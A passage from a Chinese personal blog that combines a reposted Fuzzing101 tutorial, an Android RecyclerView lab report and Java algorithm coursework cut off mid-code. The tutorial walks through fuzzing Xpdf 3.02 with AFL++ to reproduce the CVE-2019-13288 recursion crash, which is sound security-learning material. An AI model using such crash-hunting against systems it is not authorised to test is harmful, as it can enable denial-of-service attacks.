Ky不是枕木

分享学习经验

发表于 分类于 本文字数： 3.6k 阅读时长 ≈ 13 分钟

转载 Fuzzing101系列 Exercise 1 - Xpdf

序言

　Fuzzing101系列包含针对10 个真实目标的10个练习，在练习中一步一步学习Fuzzing技术的知识。

　模糊测试（Fuzzing/Fuzz）是一种自动化软件测试技术，它基于为程序提供随机或变异的输入值并监视它的异常和崩溃。

　AFL、libFuzzer 和 HonggFuzz 是现实世界应用中最多的三个模糊器，这三个都是覆盖引导的进化模糊器（Coverage-guided evolutionary fuzzer）。其中

  • 进化（evolutionary）是一种受进化算法启发的元启发式方法，它基本上包括通过使用选择标准（例如覆盖率）随时间推移初始子集（种子）的进化和变异。
  • 覆盖引导（Coverage-guided）是指为了增加发现新崩溃的机会，覆盖引导的模糊器收集和比较不同输入之间的代码覆盖率数据，并选择那些导致新执行路径的输入。

　在这个练习中，我们将fuzz Xpdf PDF 查看器。目的是在 XPDF 3.02 中找到 CVE-2019-13288 的崩溃/PoC。

　CVE-2019-13288 是一个漏洞，它可能会通过精心制作的文件导致无限递归。由于程序中每个被调用的函数都会在栈上分配一个栈帧，如果一个函数被递归调用这么多次，就会导致栈内存耗尽和程序崩溃。因此，远程攻击者可以利用它进行 DoS 攻击。可以在以下链接中找到有关不受控制的递归漏洞的更多信息：https://cwe.mitre.org/data/definitions/674.html

你会学到什么

　完成本练习后，你将了解使用 AFL 进行 fuzz 的基础，例如：

  • 使用检测编译目标应用程序
  • 运行模糊器（afl-fuzz）
  • 使用调试器 (GDB) 对崩溃进行分类

环境

　所有练习都在 Ubuntu 20.04.2 LTS 上进行了测试。 我强烈建议您使用相同的操作系统版本以避免不同的模糊测试结果，并在裸机硬件而不是虚拟机上运行 AFL，以获得最佳性能。

　否则，您可以在此处找到 Ubuntu 20.04.2 LTS 镜像。用户名为 fuzz / fuzz。

　AFL 使用非确定性测试算法，因此两个模糊测试会话永远不会相同。我强烈建议设置一个固定的种子（-s 123），这样你的模糊测试结果将与本文的结果相似。

下载并构建目标

　首先为要进行模糊测试的项目创建一个新目录：

1
2
cd $HOME
mkdir fuzzing_xpdf && cd fuzzing_xpdf/

​ 为了完全准备好环境，需要安装一些额外的工具（make 和 gcc）

1
sudo apt install build-essential

​ 下载 Xpdf 3.02：

1
2
wget https://dl.xpdfreader.com/old/xpdf-3.02.tar.gz
tar -xvzf xpdf-3.02.tar.gz

​ 构建 Xpdf：

1
2
3
4
5
cd xpdf-3.02
sudo apt update && sudo apt install -y build-essential gcc
./configure --prefix="$HOME/fuzzing_xpdf/install/"
make
make install

​ 下面对 Xpdf 进行测试，首先下载一些 PDF 示例：

1
2
3
4
5
cd $HOME/fuzzing_xpdf
mkdir pdf_examples && cd pdf_examples
wget https://github.com/mozilla/pdf.js-sample-files/raw/master/helloworld.pdf
wget http://www.africau.edu/images/default/sample.pdf
wget https://www.melbpc.org.au/wp-content/uploads/2017/10/small-example-pdf-file.pdf

使用以下命令测试 pdfinfo 二进制文件：

1
$HOME/fuzzing_xpdf/install/bin/pdfinfo -box -meta $HOME/fuzzing_xpdf/pdf_examples/helloworld.pdf

image.png

安装 AFL++

​ 我们将使用最新版本的 AFL++ fuzzer(https://github.com/AFLplusplus/AFLplusplus)

安装依赖项

1
2
3
4
sudo apt-get update
sudo apt-get install -y build-essential python3-dev automake git flex bison libglib2.0-dev libpixman-1-dev python3-setuptools
sudo apt-get install -y lld-11 llvm-11 llvm-11-dev clang-11 || sudo apt-get install -y lld llvm llvm-dev clang 
sudo apt-get install -y gcc-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-plugin-dev libstdc++-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-dev

构建 AFL++

1
2
3
4
5
cd $HOME
git clone https://github.com/AFLplusplus/AFLplusplus && cd AFLplusplus
export LLVM_CONFIG="llvm-config-11"
make distrib
sudo make install

执行afl-fuzz，查看是否安装成功

image.png

认识 AFL++

　AFL 是一个覆盖引导的模糊器（coverage-guided fuzzer），这意味着它收集每个变异输入的覆盖信息，来发现新的执行路径和潜在的错误。当源代码可用时，AFL 可以使用插桩（instrumentation），在每个基本块（函数、循环等）的开头插入函数调用。

　要为我们的目标程序启用检测，我们需要使用 AFL 的编译器编译源代码。

　首先，我们要清理所有之前编译的目标文件和可执行文件：

1
2
3
rm -r $HOME/fuzzing_xpdf/install
cd $HOME/fuzzing_xpdf/xpdf-3.02/
make clean

　现在我们将使用 afl-clang-fast 编译器构建 xpdf：

1
2
3
4
export LLVM_CONFIG="llvm-config-11"
CC=$HOME/AFLplusplus/afl-clang-fast CXX=$HOME/AFLplusplus/afl-clang-fast++ ./configure --prefix="$HOME/fuzzing_xpdf/install/"
make
make install

　现在可以使用以下命令运行 fuzzer：

1
afl-fuzz -i $HOME/fuzzing_xpdf/pdf_examples/ -o $HOME/fuzzing_xpdf/out/ -s 123 -- $HOME/fuzzing_xpdf/install/bin/pdftotext @@ $HOME/fuzzing_xpdf/output

　每个选项的简要说明

  • -i 表示输入示例的目录
  • -o 表示 AFL + + 将存储的变异文件的目录
  • -s 表示要使用的静态随机种子
  • @@ 是占位符目标的命令行，AFL 将用每个输入文件名替换

　fuzzer将会对每个不同的输入文件运行 $HOME/fuzzing_xpdf/install/bin/pdftotext <input-file-name> $HOME/fuzzing_xpdf/output 命令

image.png

出现错误，根据提示，执行以下操作：

1
2
3
sudo su
echo core >/proc/sys/kernel/core_pattern
exit

　成功运行，等待一段时间后，发现已经有了一个crash

image.png

可以在$HOME/fuzzing_xpdf/out/ 目录中找到这些崩溃文件。一旦发现第一次崩溃，就可以停止fuzzer，上图中已经出现了一个独特的崩溃。根据您的机器性能，最多可能需要一到两个小时才能发生崩溃。

　为了完成这个练习，下面尝试使用指定的文件重现崩溃，调试崩溃发现问题，并且修复问题。

重现崩溃

　在$HOME/fuzzing_xpdf/out/目录下找到 crash 对应的文件。文件名类似于id:000000,sig:11,src:000390,time:103613,execs:71732,op:havoc,rep:16

image.png

将此文件作为输入传递给 pdftotext

1
$HOME/fuzzing_xpdf/install/bin/pdftotext '/home/fuzz/fuzzing_xpdf/out/default/crashes/<your_filename>' $HOME/fuzzing_xpdf/output

　它将导致段错误segmentation fault并导致程序崩溃。

image.png

调试

　使用 gdb 找出程序因该输入而崩溃的原因。

　首先使用调试信息重建 Xpdf 来获得符号堆栈跟踪：

1
2
3
4
5
6
rm -r $HOME/fuzzing_xpdf/install
cd $HOME/fuzzing_xpdf/xpdf-3.02/
make clean
CFLAGS="-g -O0" CXXFLAGS="-g -O0" ./configure --prefix="$HOME/fuzzing_xpdf/install/"
make
make install

　然后使用GDB，输入run

1
gdb --args $HOME/fuzzing_xpdf/install/bin/pdftotext $HOME/fuzzing_xpdf/out/default/crashes/<your_filename> $HOME/fuzzing_xpdf/output

image.png

然后输入bt回溯查看栈帧

image.png

发现有许多次Parser::getObj的调用，它们似乎表示一个无限递归。如果你去 https://www.cvedetails.com/cve/cve-2019-13288/ ，你可以看到描述符合我们从 GDB 得到的回溯

发表于 分类于 本文字数： 10k 阅读时长 ≈ 37 分钟

AS类微信界面开发

功能要求

1、在任一tab页中实现列表效果；本功能的实现需要使用 recycleview；

2、将recyclerView的每个item增加点击功能，点击后跳转到一个新的view展示信息

开发技术

开发工具：as

版本：API 24 Android 7.0

思路分析

本次实验目的是实现在任一tab页将recyclerView的每个item增加点击功能，点击后跳转到一个新的view展示信息，固需要采用到以下两点技术

  1. 列表的实现需要使用控件recyclerView进行操作，需创建一个单独的放置recyclerview的layout——item.xml文件，另外还需要单独创建每一项的具体内容的layout文件——fragment_txl.xml
  2. fragment或activity之间的跳转实现采用startActivity()，新版本中如果还需要返回内容可以采用registerForActivityResult()方法，并采用launch()方法进行跳转

总体思路为在layout创建item.xml文件放recyclerview控件，fragment_txl.xml放列表每一项的信息。在txlfragment定义初始化信息并将信息写成数组方便传参，配合Myadapter适配器进行使用，跳转的具体方法采用startActivity()进行跳转，在跳转的详情页面txlDetails接受传过来的intent并显示数据，设置返回按钮用于返回。

设计过程

1. 编写layout

1.1 在新建的item.xml中添加recycleview

效果

image.png

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical">

    <androidx.recyclerview.widget.RecyclerView
        android:id="@+id/itemview"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:layout_marginStart="8dp"
        android:layout_marginTop="8dp"
        android:layout_marginEnd="8dp"
        android:layout_marginBottom="8dp" />
</LinearLayout>

创建了一个RecyclerView，命名为itemview

1.2 在fragment_txl.xml中实现每一项的信息

效果

image.png

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="wrap_content">

    <LinearLayout
        android:id="@+id/linearLayout_txl"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"

        android:layout_marginTop="15dp">

        <ImageView
            android:id="@+id/image_touxiang"
            android:layout_width="60dp"
            android:layout_height="68dp"
            android:layout_marginRight="20dp"
            android:layout_gravity="left|center_vertical"
            tools:srcCompat="@tools:sample/avatars" />

        <TextView
            android:id="@+id/text_duihuakuang"
            android:layout_width="wrap_content"
            android:layout_height="match_parent"
            android:gravity="left|center_vertical"
            android:text="TextView"
            android:textSize="24sp" />
    </LinearLayout>

</LinearLayout>

用一个Linearlayout包含了一个ImageView和TextView，方便后续点击跳转

1.3 实现跳转详情页面activity_txl_details.xml的内容

效果

image.png

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    tools:context=".txlDetails">

    <TextView
        android:id="@+id/WeChatname"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_weight="1"
        android:text="名字"
        android:textStyle="bold"
        android:textSize="35sp"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.008"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.275" />

    <LinearLayout
        android:id="@+id/linearLayout"
        android:layout_width="411dp"
        android:layout_height="wrap_content"
        android:orientation="horizontal">

    </LinearLayout>

    <LinearLayout
        android:id="@+id/linearLayout2"
        android:layout_width="411dp"
        android:layout_height="wrap_content"
        android:orientation="horizontal">

    </LinearLayout>

    <LinearLayout
        android:id="@+id/linearLayout3"
        android:layout_width="411dp"
        android:layout_height="wrap_content"
        android:orientation="horizontal">

    </LinearLayout>

    <LinearLayout
        android:id="@+id/linearLayout4"
        android:layout_width="411dp"
        android:layout_height="wrap_content"
        android:orientation="horizontal">

    </LinearLayout>

    <Button
        android:id="@+id/returnButton"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginTop="408dp"
        android:text="返回"
        android:textSize="35sp"
        app:layout_constraintTop_toBottomOf="@+id/imageDetail"
        tools:layout_editor_absoluteX="146dp" />

    <TextView
        android:id="@+id/wxtag"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginTop="24dp"
        android:layout_weight="1"
        android:textStyle="bold"
        android:text="标签"
        android:textSize="35sp"
        app:layout_constraintTop_toBottomOf="@+id/region"
        tools:layout_editor_absoluteX="5dp" />

    <TextView
        android:id="@+id/wxtag2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginStart="188dp"
        android:layout_weight="1"
        android:textStyle="bold"
        android:gravity="center"
        android:text="未分类"
        android:textSize="35sp"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.441"
        app:layout_constraintStart_toEndOf="@+id/wxtag"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.611" />

    <TextView
        android:id="@+id/region"
        android:layout_width="141dp"
        android:layout_height="wrap_content"
        android:layout_marginTop="24dp"
        android:layout_weight="1"
        android:textStyle="bold"
        android:text="地区"
        android:textSize="35sp"
        app:layout_constraintTop_toBottomOf="@+id/phoneNumber"
        tools:layout_editor_absoluteX="5dp" />

    <TextView
        android:id="@+id/region2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_weight="1"
        android:gravity="center"
        android:text="未知"
        android:textSize="35sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.773"
        app:layout_constraintStart_toStartOf="@+id/region"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.501" />

    <ImageView
        android:id="@+id/imageDetail"
        android:layout_width="154dp"
        android:layout_height="121dp"
        android:layout_weight="1"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.498"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.042"
        tools:srcCompat="@tools:sample/avatars" />

    <TextView
        android:id="@+id/phoneNumber"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginTop="28dp"
        android:layout_weight="1"
        android:gravity="center"
        android:textStyle="bold"
        android:text="电话号码"
        android:textSize="35sp"
        app:layout_constraintTop_toBottomOf="@+id/WeChatname"
        tools:layout_editor_absoluteX="0dp" />

    <TextView
        android:id="@+id/phone"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginStart="36dp"
        android:layout_weight="1"
        android:text="11111111111"
        android:textSize="35sp"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.058"
        app:layout_constraintStart_toEndOf="@+id/phoneNumber"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.388" />

    <TextView
        android:id="@+id/textDetail"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginStart="152dp"
        android:layout_weight="3"
        android:gravity="center"
        android:text="微信昵称"
        android:textStyle="bold"
        android:textSize="35sp"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.0"
        app:layout_constraintStart_toEndOf="@+id/WeChatname"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.275" />

</androidx.constraintlayout.widget.ConstraintLayout>

设置了一些基础信息

2. 核心代码实现

2.1 在txlFragment里面实现了初始化操作，并生成数据数组，创建RecycleView实例和设置Adapter

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package com.example.mywork;

import android.content.Context;
import android.content.Intent;
import android.graphics.Color;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.LinearLayout;

import androidx.activity.result.ActivityResult;
import androidx.activity.result.ActivityResultCallback;
import androidx.activity.result.ActivityResultLauncher;
import androidx.activity.result.contract.ActivityResultContracts;
import androidx.annotation.NonNull;
import androidx.fragment.app.Fragment;
import androidx.recyclerview.widget.ItemTouchHelper;
import androidx.recyclerview.widget.LinearLayoutManager;
import androidx.recyclerview.widget.RecyclerView;

import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class txlFragment extends Fragment {
    //获取recyclerView对象并且实例化适配器
    private RecyclerView recyclerView;
    private MyAdapter myAdapter;
    LinearLayout linearLayout;

    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container,
                             Bundle savedInstanceState) {
        // Inflate the layout for this fragment
        //return inflater.inflate(R.layout.fra_lx, container, false);
        View view;
        //存所有控件的视图
        view=inflater.inflate(R.layout.item, container, false);
        //调用recycleview控件
        recyclerView=view.findViewById(R.id.itemview);
        linearLayout=view.findViewById(R.id.linearLayout_txl);
        //创建数据
        String[] names={"Pappy","Mommy","Sister","Little Sister","Brother","Little Brother","Roommate"};
        int[] images={R.drawable.baba,R.drawable.mama,R.drawable.jiejie,R.drawable.meimei,R.drawable.gege,
                R.drawable.didi,R.drawable.shiyou1};
        String[] phones={"123456789","123456789","123456789","123456789","123456789",
                "123456789","123456789"};
        String[] regions={"四川 南充","四川 南充","四川 南充","四川 南充","四川 南充","四川 南充","湖北 武汉"};
        String[] tags={"家人","家人","家人","家人","家人","家人","同学"};
        List<Map<String,Object>> items=new ArrayList<Map<String,Object>>();
        for(int i=0;i<names.length;i++){
            Map<String,Object> item=new HashMap<String, Object>();
            item.put("i_name",names[i]);
            item.put("i_image",images[i]);
            item.put("i_phone",phones[i]);
            item.put("i_region",regions[i]);
            item.put("i_tag",tags[i]);
            items.add(item);
        }
        //创建RecycleView实例和设置Adapter
        Context context=getContext();
        myAdapter=new MyAdapter(items,context);
        LinearLayoutManager manager=new LinearLayoutManager(context);
        manager.setOrientation(recyclerView.VERTICAL);
        recyclerView.setLayoutManager(manager);
        recyclerView.setAdapter(myAdapter);
        return view;
    }
}

2.2 Myadapater 实现跳转操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package com.example.mywork;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;

import androidx.activity.result.ActivityResult;
import androidx.activity.result.ActivityResultCallback;
import androidx.activity.result.ActivityResultLauncher;
import androidx.activity.result.contract.ActivityResultContracts;
import androidx.annotation.NonNull;
import androidx.recyclerview.widget.RecyclerView;

import java.util.List;
import java.util.Map;

public class MyAdapter extends RecyclerView.Adapter <MyAdapter.MyViewHolder>{
    //定义存储数据和运行环境的变量
    private List<Map<String,Object>> mydata;
    private Context mycontext;

    //获取数据和运行环境
    public MyAdapter(List<Map<String,Object>> data, Context context){
        mydata=data;
        mycontext=context;
    }

    @NonNull
    @Override
    public MyViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
        View view= LayoutInflater.from(mycontext).inflate(R.layout.fragment_txl,parent,false);
        MyViewHolder holder=new MyViewHolder(view);
        return holder;
    }

    @Override
    public void onBindViewHolder(@NonNull MyAdapter.MyViewHolder holder, int position) {
        String name=mydata.get(position).get("i_name").toString();
        int image=Integer.parseInt(mydata.get(position).get("i_image").toString());
        //获取详情页面中某个联系人的对应数据
        String phone=mydata.get(position).get("i_phone").toString();
        String region=mydata.get(position).get("i_region").toString();
        String tag=mydata.get(position).get("i_tag").toString();
        holder.textView.setText(name);
        holder.imageView.setImageResource(image);

        //添加点击事件
        holder.linearLayout_txl.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                //点击后跳转到联系人详情页
                Intent intent=new Intent(mycontext, txlDetails.class);

                //使用bundle传值
                Bundle bundle = new Bundle();
                bundle.putString("details",name);
                bundle.putInt("image", image);
                bundle.putString("phone",phone);
                bundle.putString("region",region);
                bundle.putString("tag",tag);

                intent.putExtras(bundle);
                mycontext.startActivity(intent);
            }
        });
    }

    @Override
    public int getItemCount() {
        return mydata.size();
    }
    public class MyViewHolder extends RecyclerView.ViewHolder {
        public LinearLayout linearLayout_txl;
        private TextView textView;
        private ImageView imageView;
        public MyViewHolder(@NonNull View itemView) {
            super(itemView);
            //获取item中的控件id
            textView=itemView.findViewById(R.id.text_duihuakuang);
            imageView=itemView.findViewById(R.id.image_touxiang);
            linearLayout_txl=itemView.findViewById(R.id.linearLayout_txl);
        }

    }
}

跳转的实现主要是对于LinearLayout_txl 的点击动作实现一个监听，具体操作 Intent intent=new Intent(mycontext, txlDetails.class) myContext是一个代表当前Activity的上下文对象。txlDetails.class是目标Activity的类名。然后将数据压缩绑定到bundle里面，添加到intent，最后调用startActivity(intent) 进行跳转

2.3 txlDetails

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.example.mywork;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;

public class txlDetails extends AppCompatActivity {
    TextView dName,textView1,textView2,textView3;
    ImageView dImage;
    Button button_r;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_txl_details);
        //获取上一个Actvity传过来的intent
        Intent intent=getIntent();
        dName=findViewById(R.id.textDetail);
        dImage=findViewById((R.id.imageDetail));
        //根据intent获取得到的数据设置item控件的值
        dImage.setImageResource(intent.getIntExtra("image",R.drawable.find));
        dName.setText(intent.getStringExtra("details"));
        textView1=findViewById(R.id.phone);
        textView2=findViewById(R.id.region2);
        textView3=findViewById(R.id.wxtag2);
        textView1.setText(intent.getStringExtra("phone"));
        textView2.setText(intent.getStringExtra("region"));
        textView3.setText(intent.getStringExtra("tag"));
        button_r=findViewById(R.id.returnButton);
        button_r.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Log.d("fb","button_r....");
                Intent intent = new Intent();
                setResult(777,intent);
                finish();
            }
        });

    }
}

用于接受来自txlFragment传过来的数据并显示数据，设置了返回button用于返回至跳转前的Activity

结果展示

4.gif

代码仓库

https://github.com/Kylinxin/MyWork

总结

​ 本次实现我完成了RecyclerView的实现，明白了如何对recyclerView进行传参，设置每一项的具体样子。同时对Activity跳转有了更清晰的认识，startActivity(intent);通过intent设置了跳转对象，进行跳转，这种方法简单直观，但是没办法处理返回值，老版本的解决方法是采用方法startActivityForResult()进行解决，但是有许多弊端和RequestCode难以处理，新版本中采用了registerForActivityResult()方法通过在使用registerForActivityResult()方法注册ActivityResultContracts.StartActivityForResult时，处理启动Activity并获取返回结果的逻辑。ActivityResultCallback是一个接口，用于处理ActivityResultLauncher的结果回调。当启动的Activity结束并返回结果时，回调方法中的ActivityResult参数将包含返回的结果信息。总的来说思路非常清晰，但是我也发现了一个问题，那就是在myadater中无法使用这种方式进行跳转，后来查找原因，registerForActivityResult()只能在fragment或activity中才能使用。这次收获满满，加深了我对recyclerView的使用和activity间跳转的用法和差异。

—— 2023.11.7

发表于 分类于 本文字数： 26k 阅读时长 ≈ 1:34

算法与程序设计实验

要求

1.复现代码，写上自己的注释

2.结果展示

3.将代码进行修改，bug修改，内容提升

第二章

逆序计数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import java.io.*;
import java.util.*;

public class Countlnversions {
    public static void main(String[] args)
    {
        System.out.println("请输入待计数逆序的整数序列(以空格分开，各项值都不同)");
        Scanner in=new Scanner(System.in);
        String line=in.nextLine();
        String[] tokens=line.split(" ");
        //获取用户输入的序列
        int[] S1=new int[tokens.length];
        for(int i=0;i<tokens.length;i++)
            S1[i]=Integer.parseInt(tokens[i]);
        int count=sortAndCount(S1);
        //调用实现SAC算法的方法，返回计数结果

        for (int i=0;i<S1.length;i++)
            System.out.print(S1[i]+" ");
        System.out.print("\n逆序计数为："+count);
        //显示排序后的序列和逆序计数值
    }
    private static int sortAndCount(int[]S){
        if(S.length==1)
            return 0;
        int n=S.length/2;
        int[] A=new int[n];
        int[] B=new int[S.length-n];
        int j=0;
        for (int i=0;i<A.length;i++)
            A[i]=S[j++];
        for (int i=0;i<B.length;i++)
            B[i]=S[j++];
        int rA=sortAndCount(A);
        int rB=sortAndCount(B);
        int r=mergeAndCount(A,B,S);
        return (r+rA+rB);
    }
    private static int mergeAndCount(int[]A,int[]B,int[]C)
    {
        int i=0,j=0,k=0,count=0;
        while (i<A.length&&j<B.length)
        {
            if (A[i]>B[j])
            {
                count+=A.length-i;
                C[k++]=B[j++];
            }
            else {
                C[k++]=A[i++];
            }
        }
        if (i==A.length&&j< B.length)
            for (int l=j;l< B.length;l++)
                C[k++]=B[l];
        if (i< A.length&&j== B.length)
            for (int l=i;l< A.length;l++)
                C[k++]=A[l];
        return count;
    }
}

寻找最近点对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
import java.util.Arrays;
public class FindClosestPair {
    public static void main(String[] args) {
        int N=30;
        int beishu=5000;
        int[] x=new int[N];
        int[] y=new int[N];
        int[] p2=new int[4];
        int[] x2=new int[N];
        int[] y2=new int[N];
        StdDraw.setXscale(0, beishu);
        StdDraw.setYscale(0, beishu);
        StdDraw.setPenRadius(0.005);
        for(int i=0;i<N;i++){
            x[i]=(int)(Math.random()*beishu);
            y[i]=(int)(Math.random()*beishu);
            x2[i]=x[i];
            y2[i]=y[i];
        }
        int[][] pX=new int[2][N];
        int[][] pY=new int[2][N];
        int[] flagX=new int[N];
        int[] flagY=new int[N];
        for(int i=0;i<N;i++){
            StdDraw.point(x[i], y[i]);
            flagX[i]=1;
            flagY[i]=1;
        }
        Arrays.sort(x);
        Arrays.sort(y);

        for(int i=0;i<N;i++){
            for(int j=0;j<N;j++){
                if(x[i]==x2[j]&&flagX[j]==1){
                    pX[0][i]=x2[j];
                    pX[1][i]=y2[j];
                    flagX[j]=0;
                }
                if (y[i]==y2[j]&&flagY[j]==1){
                    pY[0][i]=x2[j];
                    pY[1][i]=y2[j];
                    flagY[j]=0;
                }
            }
        }
        ClosestPairRec(pX,pY,p2);
        System.out.println(p2[0]+" "+p2[1]+" "+p2[2]+" "+p2[3]);
        StdDraw.setPenColor(StdDraw.RED);
        StdDraw.line(p2[0], p2[1], p2[2], p2[3]);


    }

    public static void ClosestPairRec(int[][] pX, int[][] pY, int[] p2) {
        if(pX[0].length<=3){
            if (pX[0].length==3){
                int d1=(pX[0][0]-pX[0][1])* (pX[0][0]-pX[0][1])+(pX[1][0]-pX[1][1])* (pX[1][0]-pX[1][1]);
                int d2=(pX[0][1]-pX[0][2])* (pX[0][1]-pX[0][2])+(pX[1][1]-pX[1][2])* (pX[1][1]-pX[1][2]);
                int d3=(pX[0][0]-pX[0][2])* (pX[0][0]-pX[0][2])+(pX[1][0]-pX[1][2])* (pX[1][0]-pX[1][2]);
                if(d1>=d2&&d1>=d3){
                    p2[0]=pX[0][0];
                    p2[1]=pX[1][0];
                    p2[2]=pX[0][1];
                    p2[3]=pX[1][1];
                }
                if(d2>=d1&&d2>=d3){
                    p2[0]=pX[0][1];
                    p2[1]=pX[1][1];
                    p2[2]=pX[0][2];
                    p2[3]=pX[1][2];
                }
                if(d3>=d1&&d3>=d2){
                    p2[0]=pX[0][0];
                    p2[1]=pX[1][0];
                    p2[2]=pX[0][2];
                    p2[3]=pX[1][2];
                }
            }
            if(pX[0].length==2){
                p2[0]=pX[0][0];
                p2[1]=pX[1][0];
                p2[2]=pX[0][1];
                p2[3]=pX[1][1];
            }
            return;
        }
        int foreHalf = pX[0].length/2;
        int[][] qX=new int[2][foreHalf];
        int[][] qY=new int[2][foreHalf];
        int[][] rX=new int[2][pX[0].length-foreHalf];
        int[][] rY=new int[2][pX[0].length-foreHalf];
        int[] qp2=new int[4];
        int[] rp2=new int[4];
        int k=0;
        for(int i=0;i<pX[0].length;i++){
            if(i<foreHalf) {
                qX[0][i] = pX[0][i];
                qX[1][i] = pX[1][i];
                qY[0][i] = pY[0][i];
                qY[1][i] = pY[1][i];
            }
            else{
                rX[0][k] = pX[0][i];
